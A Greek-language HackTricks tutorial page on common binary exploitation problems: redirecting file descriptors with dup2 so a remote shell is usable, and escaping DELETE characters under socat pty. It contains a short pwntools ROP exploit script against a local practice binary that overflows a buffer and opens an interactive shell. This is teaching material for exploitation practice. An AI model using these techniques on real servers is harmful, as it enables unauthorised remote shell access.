4.4 KiB
Συνηθισμένα προβλήματα εκμετάλλευσης
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)!
- Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF; Ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε με στο Twitter 🐦@carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο αποθετήριο hacktricks και αποθετήριο hacktricks-cloud.
FDs στην Απομακρυσμένη Εκμετάλλευση
Όταν στέλνετε ένα εκμεταλλευτικό πρόγραμμα σε ένα απομακρυσμένο διακομιστή που καλεί το system('/bin/sh')
για παράδειγμα, αυτό θα εκτελεστεί στη διαδικασία του διακομιστή φυσικά, και το /bin/sh
θα περιμένει είσοδο από το stdin (FD: 0
) και θα εκτυπώνει την έξοδο στο stdout και stderr (FDs 1
και 2
). Έτσι ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδρά με το κέλυφος.
Ένας τρόπος να διορθωθεί αυτό είναι να υποθέσουμε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε τον αριθμό FD 3
(για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα βρίσκεται στον αριθμό FD 4
. Επομένως, είναι δυνατό να χρησιμοποιηθεί η κλήση συστήματος dup2
για να διπλασιάσει το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να γίνει εφικτή η επικοινωνία με το κέλυφος μόλις εκτελεστεί.
Παράδειγμα εκμετάλλευσης από εδώ:
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Σημειώστε ότι το socat μεταφέρει ήδη τα stdin
και stdout
στο socket. Ωστόσο, η λειτουργία pty
περιλαμβάνει χαρακτήρες DELETE. Έτσι, αν στείλετε ένα \x7f
(DELETE
-) θα διαγράψει τον προηγούμενο χαρακτήρα της εκμετάλλευσής σας.
Για να παρακάμψετε αυτό, ο χαρακτήρας απόδρασης \x16
πρέπει να προηγείται κάθε \x7f
που στέλνετε.
Εδώ μπορείτε να βρείτε ένα παράδειγμα αυτής της συμπεριφοράς.